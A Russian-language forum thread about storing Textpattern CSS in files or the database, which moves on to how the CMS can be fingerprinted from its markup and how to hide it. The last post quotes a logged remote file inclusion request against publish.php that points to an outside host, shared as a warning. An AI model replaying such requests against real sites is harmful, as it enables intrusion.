форум общения русскоязычных пользователей CMS Текстпаттерн
Вы не зашли.
Вопрос TxP-пользователям, разработчикам сайтов.
Как известно, в TxP содержимое таблиц стилей хранится в базе данных и выводится при помощи управляющего php-скрипта. Таким образом, редактировать CSS сайта можно лишь через админку.
Это удобно, так как можно быстро, не покидая браузер с открытыми в фоновых табах страницами «Формы» и «Страницы» править стили; держать под рукой сразу несколько таблиц и быстро вставлять ссылки на них в шаблон при помощи тега <txp:css />
Однако, работать со стилями через формочку на веб-странице, а не через любимый текстовой редактор с подсветкой синтаксиса и прочими вкусностями, страшно неудобно. И даже если у редактора есть функция подключения к удаленному файлу через FTP, ко стилям CSS в TxP все равно не подключишься, т.к. физически они лежат в БД. А уж об использовании встроенного TxP-шного «расширенного» редактора стилей и говорить не приходится — это кошмар.
Долгое время я мучился, но соблюдал завет разработчиков CMS, используя исключительно TxP-шный подход к хранению и выводу CSS. Но вот не так давно, принявшись за очередной проект, наконец, плюнул: убил все таблицы со стилями, поместил CSS-файлы в корень сайта и прописал в шаблоне, пусть длинные, ссылки на внешние стили.
А как делаете вы? Храните и редактируете CSS в БД через админку, или во внешнем файле через внешний же редактор?
Неактивен
Есть такой замечательный плагин - rvm_css - он скидывает стили в файле после сохранения их в админке. И после каждого обновления стиля в админке - обновляет файл. Это позволяет увеличить скорость получения браузером стилей, по сравнению, если они выводяться стандартными тегом.
На своих же сайтах я использую оба варианта. Но чаще всего редактирую стили в админке и пользуюсь rvm_css. Потому что в любой момент, с любого компьютера можно зайти в админку и подправить стиль
Неактивен
О, класс. Конечно, иметь стили в отдельном файле и при этом, к тому же, — доступ к ним через админку — это самый удобный вариант. Но не думал, что он осуществим, однако вот...
Спасибо за наводку, плагин испытаю.
Неактивен
Если проект стартовал, то нужды править стили, заголовки и слоганы практически нет. Стили вызываю из файла и убираю все site_name, site_url и т.п. Всё, что генерирует лишние обращения к базе - устраняю.
Неактивен
На самом деле CSS "дешевле" брать из файла, а не из БД... Таки почему же CSS хранится в БД? Кто-нибудь может объяснить?
Неактивен
yarixxx написал:
На самом деле CSS "дешевле" брать из файла, а не из БД... Таки почему же CSS хранится в БД? Кто-нибудь может объяснить?
Да и вобще намудрили эти создатели текстпаттерна - надо было все оформление, плагины, статьи, все-все держать в виде файлов!
Неактивен
При отладке удобнее иметь стили в базе. После отладки - на диске. То же самое касается тегов адреса страницы, названия сайта и слогана, разбиения длинной страницы на отдельные формы и т.п. А поскольку процессу создания сайта соответствует множество изменений, то хранение в базе и замена "на лету" рулит. Ведь нормальный сайт из состояния отладки в рабочее переходит один раз. Не ленитесь сделать копию базы и руками убрать лишние обращения к базе данных. Заодно будет убрана информация о типа CMS.
Неактивен
A5 написал:
Заодно будет убрана информация о типа CMS.
Где это вы в коде, который формирует txp нашли инфорамцию, указывающую на то, что перед нами txp? Разве что в режиме отладки\тестирования можно узнать про что идет реч, но в рабочем режиме... ?
Неактивен
Элементарно:
<link rel="stylesheet" type="text/css" href="http://victorus.net/textpattern/css.php?s=default" media="screen"/>
Неактивен
the_ghost написал:
A5 написал:
Заодно будет убрана информация о типа CMS.
Где это вы в коде, который формирует txp нашли инфорамцию, указывающую на то, что перед нами txp? Разве что в режиме отладки\тестирования можно узнать про что идет реч, но в рабочем режиме... ?
ТОчно Но если использоваться плагин rvm_css, то все выглядит как подключение обычного файла стилей
Неактивен
Да, если говорить о стилях. Вопрос определения движка часто встаёт. Я набрасывал алгоритм его вычисления, но руки не дошли сделать программку. А теперь есть такой плагин к FF Wappalyzer - он TxP не определяет. Но если это блог, то в явном виде:
<!-- <a id="txpCommentHelpLink" href="http://rpc.textpattern.com/help/index.php?item=textile_comments&language=ru-ru" onclick="window.open(this.href, 'popupwindow', 'width=300,height=400,scrollbars,resizable'); return false;">Помощь по Textile</a> --> </td>
В менее явном:
<input type="submit" value="Предпросмотр" name="preview" class="button" id="txpCommentPreview" /> <input type="submit" value="Сохранить" name="submit" class="button disabled" id="txpCommentSubmit" disabled="disabled" />
Если не лень, то и:
<form method="post" id="zcrf1989bf22edc3ee66e91bf779d7c1559" class="zemContactForm" action="/about/contact#zcrf1989bf22edc3ee66e91bf779d7c1559">
Неактивен
Да уж.. Вы раскрыли мне глаза Тогда можно защититься изменением названия папки textpattern
Неактивен
Да. И не использовать стандартные идентификаторы и классы при использовании шаблонов. А то периодически в журнале вижу вот такое:
about// textpattern/publish.php?txpcfg[txpath]=http://members.mywave.at/ m206111aa/cms/administrator/components/com_mkpostman/includes/ romid.txt???
Ведь ломают же, гады
Неактивен